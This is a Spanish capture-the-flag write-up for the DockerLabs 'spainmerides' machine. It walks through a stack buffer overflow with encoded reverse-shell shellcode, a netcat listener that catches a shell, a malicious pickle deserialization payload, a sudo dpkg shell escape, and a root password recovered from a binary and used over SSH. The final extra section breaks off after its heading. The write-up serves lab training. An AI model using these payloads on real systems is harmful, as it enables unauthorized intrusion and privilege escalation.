Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-02 03:31 EST
Nmap scan report for 172.17.0.2
Host is up (0.000035s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 66:db:6e:23:2a:f4:01:ab:3a:41:be:a4:a7:f9:1b:d1 (ECDSA)
|_ 256 f3:3e:ee:2e:bb:75:63:ad:bf:7b:1e:84:81:40:2d:92 (ED25519)
80/tcp open http Apache httpd 2.4.62
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Did not follow redirect to http://spainmerides.dl
9000/tcp open cslistener?
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
Si entramos en el puerto 80 para ver la pagina web, vemos que no nos va a cargar, ya que se esta intentando conectar a un dominio en especifico llamado spainmerides.dl, por lo que lo añadiremos en el hosts:
nano /etc/hosts
#Dentro del nano
<IP> spainmerides.dl
Lo guardamos y volveremos a cargar la pagina.
Vemos una pagina normal y corriente, nada fuera de lo normal, por lo que vamos a fuzzear un poco.
Vemos que nos descubre una pagina llamada manager.php, si entramos dentro vemos que nos pone un archivo para descargarnos llamado bitlock, por lo que nos lo descargaremos y probaremos a ejecutarlo a ver que nos muestra.
chmod +x bitlock
./bitlock
Info:
Esperando conexiones en el puerto 9000...
Por lo que vemos nos pone que esta esperando alguna conexion en el puerto 9000 por lo que vamos a probar hacer lo siguiente:
netcat 127.0.0.1 9000
Estando dentro de la conexion probaremos a enviar un texto:
AAAAAAAAAAAAAAAAAAAAA
Y en el binario donde estaba la escucha veremos lo siguiente cuando lo enviemos:
Esperando conexiones en el puerto 9000...
************************
* AAAAAAAAAAAAAAAAAAAAA
0 *
************************
zsh: segmentation fault ./bitlock
Por lo que vemos se ha enviado correctamente y le ha llegado al binario, a parte de que vemos que desbordamos la memoria del buffer por lo que podremos hacer un buffer Overflow.
Ingenieria inversa (bitlock)
Instalacion de GDB con PEDA/GDB con pwndbg
Lo que primero tendremos que hacer sera lo siguiente:
Y si iniciamos el programa con GDB pasandole como parametro el programa, se nos pondra el gdb-peda...
gdb ./bitlock
Pero si diera error por las versiones, podremos instalar esta otra herramienta que es mas poderosa:
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
Y si iniciamos gdb veremos lo siguiente:
gdb -q ./bitlock
Info:
pwndbg: loaded 176 pwndbg commands and 47 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from ./bitlock...
(No debugging symbols found in ./bitlock)
------- tip of the day (disable with set show-tips off) -------
Use the killall command to kill all specified threads (via their ids)
pwndbg>
Comprobacion de desbordamiento de Buffer
En el host, generamos una cadena de caracteres diseñada para intentar desbordar el buffer de la aplicación. Esto se logra con la herramienta pattern_create.rb:
Este patrón se usará como entrada en la aplicación para identificar cómo se maneja el buffer.
Conectamos al servicio vulnerable usando netcat:
Host:
netcat 127.0.0.1 20201
Introducimos los 400 caracteres generados previamente. Para automatizar este paso, creamos un script en Python:
step1.py
Este script automatiza la conexión y el envío del patrón:
#!/usr/bin/python3
import socket
target_ip = "127.0.0.1"
target_port = 9000
test_pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
def send_payload():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.connect((target_ip, target_port))
sock.send(test_pattern + b"\r\n")
if __name__ == '__main__':
send_payload()
Antes de ejecutar el script, inicia la aplicación en GDB (preferentemente con pwndbg):
gdb (pwndbg)
run
Ahora en el host ejecutamos:
python3 step1.py
Resultado esperado en GDB: La aplicación debería mostrar un error de segmentación (SIGSEGV), indicando que el buffer fue desbordado. Observa el valor de EIP en los registros, que reflejará parte del patrón enviado.
Veremos que hemos conseguido pasarnos del buffer y nos muestra la direccion de memoria que nos importa llamado EIP que seria 0x61413761.
Identificación del Offset
Para determinar el desplazamiento exacto (offset) donde ocurre la sobrescritura, usamos pattern_offset.rb, proporcionando la dirección en hexadecimal obtenida en EIP:
Vemos que funciona y sobrescribe con B el EIP por lo que ahora tendremos que injectar un shellcode para que se nos haga una reverse shell al servidor aprovechando esta vulnerabilidad.
Verificación del Espacio Después del EIP
Queremos comprobar qué ocurre con los datos introducidos después del EIP. Para ello, añadimos datos adicionales (CCCC) al final del payload creando una variable after_eip y automatizaremos todo esto con un script:
Ahora en el GDB tendremos que poner de nuevo run para ejecutar la aplicacion:
gdb (pwndbg)
run
Y en el host ejecutamos el script:
host
python3 step3.py
En el GDB tendremos que ver algo asi:
Starting program: /home/kali/Desktop/spain/bitlock
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Esperando conexiones en el puerto 9000...
************************
* AAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
0 *
************************
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────
EAX 0xffffce26 ◂— 0x41414141 ('AAAA')
EBX 0x41414141 ('AAAA')
ECX 0xffffcfa0 ◂— 'CC\r\n0'
EDX 0xffffcf6a ◂— 'CC\r\n0'
EDI 0xffffd25c ◂— 0x10
ESI 0xffffd36c —▸ 0xffffd51b ◂— 'COLORTERM=truecolor'
EBP 0x41414141 ('AAAA')
ESP 0xffffce40 ◂— 0x43434343 ('CCCC')
EIP 0x42424242 ('BBBB')
─────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────────────────────────────────
Invalid address 0x42424242
──────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffce40 ◂— 0x43434343 ('CCCC')
... ↓ 7 skipped
────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────
► 0 0x42424242 None
1 0x43434343 None
2 0x43434343 None
3 0x43434343 None
4 0x43434343 None
5 0x43434343 None
6 0x43434343 None
7 0x43434343 None
──────────────────────────────────────────────────────────────────────────
Resultado esperado: En GDB, verifica la pila (stack) para comprobar que los CCCC aparecen después del EIP. Usa este comando (x/300wx $esp)
Si ejecutamos x/300wx $esp para ver la información que hay en el pila vemos que nuestras Cs se están introduciendo al principio de la pila (stack), por lo que en este punto lo que debemos hacer es encontrar un OpCode el cual nos permita realizar un salto al ESP, es decir al principio de la pila.
Vemos que se esta realizando todo correctamente al principio de la pila y llenando esos huecos con la C que se corresponden con 0x43434343.
Identificación del OpCode para JMP ESP
Para redirigir la ejecución al principio de la pila (ESP), necesitamos identificar el código de operación (opcode) de un salto (JMP ESP). Usamos nasm_shell.rb:
El flag -b '\x00\x0a\x0d' excluye los caracteres nulos y de salto de línea, ya que podrían interrumpir la ejecución del payload. El flag -f py genera el código en formato Python para facilitar su inclusión en scripts.
Info:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 479 bytes
buf = b""
buf += b"\xdb\xcb\xd9\x74\x24\xf4\xbf\x8e\x4f\x16\x01\x58"
buf += b"\x2b\xc9\xb1\x12\x83\xc0\x04\x31\x78\x13\x03\xf6"
buf += b"\x5c\xf4\xf4\x37\xb8\x0f\x15\x64\x7d\xa3\xb0\x88"
buf += b"\x08\xa2\xf5\xea\xc7\xa5\x65\xab\x67\x9a\x44\xcb"
buf += b"\xc1\x9c\xaf\xa3\x11\xf6\x55\x89\xfa\x05\x56\xf3"
buf += b"\x9b\x80\xb7\xbb\x3a\xc3\x66\xe8\x71\xe0\x01\xef"
buf += b"\xbb\x67\x43\x87\x2d\x47\x17\x3f\xda\xb8\xf8\xdd"
buf += b"\x73\x4e\xe5\x73\xd7\xd9\x0b\xc3\xdc\x14\x4b"
Obtener una shell como el usuario www-data
Por lo que crearemos un script para automatizar todo esto y tambien añadiremos en el script una cadena de NOPS para que salte todo hasta nuestro shellcode y se ejecute nuestra rever shell.
Desbordamiento del buffer: El payload comienza con A's para llenar el buffer hasta alcanzar el offset donde se sobrescribe el EIP (22 en este caso).
Dirección de retorno: Utilizamos la dirección de una instrucción jmp esp para redirigir la ejecución hacia nuestro shellcode. Esta dirección se obtiene mediante análisis del binario vulnerable usando herramientas como gdb.
NOP sled: Se añade una "pista" de NOPs (\x90) antes del shellcode para garantizar que cualquier variación en la dirección de salto no interfiera con la ejecución del payload.
Por lo que ahora tendremos que hacer lo siguiente:
gdb (pwndbg)
run
host
nc -lvnp <PORT>
Y finalmente en otra terminal de nuestro host tendremos que ejecutar el script y asi obtender la shell:
python3 step4.py
Y si nos vamos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 39542
whoami
www-data
Escalate user maci
Primero sanitizaremos la shell (TTY):
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on dockerlabs:
(maci) NOPASSWD: /bin/python3 /home/maci/.time_seri/time.py
Vemos que podemos ejecutar el script time.py como el usuario maci, por lo que veremos que contiene dicho script:
Vemos que hay un archivo de configuracion el cual permite o no la deserializacion por lo que nos iremos aqui:
cd /home/maci/.time_seri
Dentro de esta carpeta veremos que el siguiente archivo tiene permisos de escritura, por lo que podremos modificarle:
-rw-r--rw- 1 maci maci 11 Dec 25 17:12 time.conf
Cambiaremos el off por el on para que asi se active y no nos de error el script:
Datos deserializados correctamente, puedes revisar /tmp
Ahora si leemos el archivo que se nos ha creado en el /tmp veremos lo siguiente:
cat /tmp/.data2.log
Info:
hola maci, es darksblack recuerda terminar la maquina antes que finalice el mes
Por lo que vemos esta ejecutando el data.pk1 serializado, por lo que nosotros podremos serializar un /bin/bash para obtener la shell del usuario maci.
cd /tmp
nano data.py
#Dentro del nano
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('/bin/bash',))
# Ruta al archivo que deseas sobrescribir
file_path = '/opt/data.pk1'
# Verificar si el archivo es escribible
if os.access(file_path, os.W_OK):
with open(file_path, 'wb') as f:
# Generar el payload y sobrescribir el archivo
pickle.dump(Exploit(), f)
print(f"El archivo {file_path} ha sido sobrescrito con el payload.")
else:
print(f"No tienes permisos para sobrescribir el archivo {file_path}.")
Lo guardamos y lo ejecutamos:
python3 data.py
Info:
El archivo /opt/data.pk1 ha sido sobrescrito con el payload.
Matching Defaults entries for maci on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User maci may run the following commands on dockerlabs:
(darksblack) NOPASSWD: /usr/bin/dpkg
Por lo que vemos podemos ejecutar el binario dpkg como el usuario darksblack, por lo que haremos lo siguiente:
sudo -u darksblack dpkg -l
!bash
Y con esto ya seremos el usuario darksblack.
Escalate Privileges
Si intentamos exportar el PATH correcto ya que no lo tiene correcto para que podamos ejecutar nuestros binarios con normalidad, nos pondra esto:
Por lo que tendremos que utilizar rutas absolutas, vamos a listar la /home del usuario:
/bin/ls -la
Info:
total 52
drwxr-x--- 1 darksblack darksblack 4096 Jan 1 09:02 .
drwxr-xr-x 1 root root 4096 Dec 26 00:21 ..
lrwxrwxrwx 1 root root 9 Dec 26 00:32 .bash_history -> /dev/null
-rw-r--r-- 1 root root 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 root root 3613 Jan 1 07:45 .bashrc
-rw-r--r-- 1 root root 807 Mar 29 2024 .profile
-rw------- 1 darksblack darksblack 726 Jan 1 07:38 .viminfo
drwxr-xr-x 2 darksblack darksblack 4096 Jan 1 08:57 .zprofile
-rwxr-xr-x 1 darksblack darksblack 15048 Jan 1 09:02 Olympus
drwxr-x--- 1 darksblack darksblack 4096 Jan 1 07:41 bin
Vemos que hay un archivo interesante llamado Olympus vamos a probar a ejecutarlo:
./Olympus
Info:
Selecciona el modo:
1. Invitado
2. Administrador
2
Introduce el serial: a
Serial invalido, vuelve a intentar
Vemos que nos pide un SERIAL para entrar en el modo administrador, por lo que le vamos hacer ingenieria inversa para descubrir cual es el SERIAL, vamos a pasarnoslo a nuestra maquina host, pero nos pasaremos el siguiente binario que se encuentra aqui:
cd .zprofile/
Si listamos:
/bin/ls -la
Info:
total 24
drwxr-xr-x 2 darksblack darksblack 4096 Jan 1 08:57 .
drwxr-x--- 1 darksblack darksblack 4096 Jan 1 09:02 ..
-rwxr-xr-x 1 darksblack darksblack 14952 Jan 1 08:57 OlympusValidator
Por lo que vemos tiene pinta de contener el SERIAL.
/bin/python3 -m http.server
Y en nuestro host:
wget http://<IP>:8000/OlympusValidator
Info:
--2025-01-02 04:37:05-- http://172.17.0.2:8000/OlympusValidator
Connecting to 172.17.0.2:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15048 (15K) [application/octet-stream]
Saving to: ‘OlympusValidator’
OlympusValidator 100%[============================================================================>] 14.70K --.-KB/s in 0s
2025-01-02 04:37:05 (801 MB/s) - ‘OlympusValidator’ saved [15048/15048]
Una vez que ya nos lo hayamos pasado, abriremos Ghidra.
Ghidra
ghidra
Crearemos un nuevo proyecto y nos aparecera el siguiente icono:
Le daremos a dicho icono y despues importaremos el binario OlympusValidator para decompilarlo y ver donde se encuentra el SERIAL:
Si nos vamos a la function llamada spoof veremos lo siguiente:
Por lo que vemos nos muestra la contraseña de root, por lo que haremos lo siguiente:
ssh root@<IP>
Metemos como contraseña @#*)277280)6x4n0 y veremos que estaremos dentro como el usuario root:
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:xONrMp8rZSaI/Uq/QIDSLoGQkEPxR3uzybEighqYGW8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
root@172.17.0.2's password:
Linux dockerlabs 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@dockerlabs:~#
PASO EXTRA:
Si nosotros queremos descubrir el SERIAL podremos irnos a la function llamada main y ver lo siguiente:
